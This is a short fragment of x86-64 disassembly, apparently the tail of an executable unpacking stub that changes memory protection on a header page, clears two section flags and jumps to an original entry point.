lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x142075181
sub rsp, 0xffffffffffffff80
jmp 0x1408f9b74